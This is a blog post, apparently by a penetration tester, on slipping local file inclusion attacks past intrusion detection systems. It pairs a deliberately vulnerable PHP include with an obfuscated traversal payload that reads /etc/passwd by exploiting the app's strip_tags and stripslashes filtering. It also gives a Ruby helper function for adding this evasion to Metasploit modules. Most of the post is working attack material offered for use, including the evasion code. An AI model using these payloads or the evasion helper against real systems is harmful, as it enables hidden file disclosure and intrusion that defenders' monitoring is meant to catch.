The root of this issue really lies within the ability to manipulate data that the Intrusion Detection System is not necessarily expecting. This should be fairly obvious as this is always the name of the game with IDS. However, by using application, or even interpreter specific modifications to further obfuscate data we can really make our efforts much more effective.
# Load specified custom user template
$user = stripslashes(strip_tags($_GET['user']));
@include_once("data/users/$user.tpl");
As we can see from the above insecure code, it is trivial to modify the "user" parameter to include (and possibly execute) any file resource that the httpd process has access to. Unfortunately, directory traversal sequences are a red flag to just about every IDS out there, so we can not just send a traditional "dot dot slash" sequence without causing alarm. Fortunately though for an attacker, IDS usually does not anticipate the way that an application may or may not use the functions that is has access to, thus allowing for a much greater degree of obfuscation.
index.php?user=\.<1>\.<2>\/\.<1>\.<2>\/\.<1>\.<2>\/etc/passwd\\0
Since the vulnerable code in question uses the strip_tags() and stripslashes() PHP functions it is safe for an attacker to include garbage data that will be filtered by these functions, in addition to more traditional obfuscation techniques. Once the "user" parameter is parsed by the previously mentioned PHP functions the user parameter shown above will end up looking like this.
index.php?user=../../../etc/passwd\0
One thing to keep in mind though when using this approach is request size. The requests can be obfuscated heavily, but the more obfuscation that is added makes for a substantially larger request which may inadvertently trigger the very IDS that is meant to be avoided. Below is a function that I wrote in Ruby, and is meant to be used as a means to add this application specific obfuscation to your Metasploit Framework projects. If you have any suggestions feel free to leave a comment.
1: def init_evasion(data, func, opts = {})
2:
3: case func
4: when 'stripslashes'
5: if ( !opts['qgpc'] )
6: data = data.gsub(/(.)/,'\\\\\1')
7: end
8: return data
9: when 'strip_tags'
10: return data.gsub(/([\.\/])/, '<0>\\1')
11: when 'urldecode'
12: data = Rex::Text.uri_decode(data)
13: data = data.unpack('C*').collect{|x| '%25' + sprintf('%.2x', x) }
14: return data
15: else
16: return false
17: end
18: end
No comments:
Post a Comment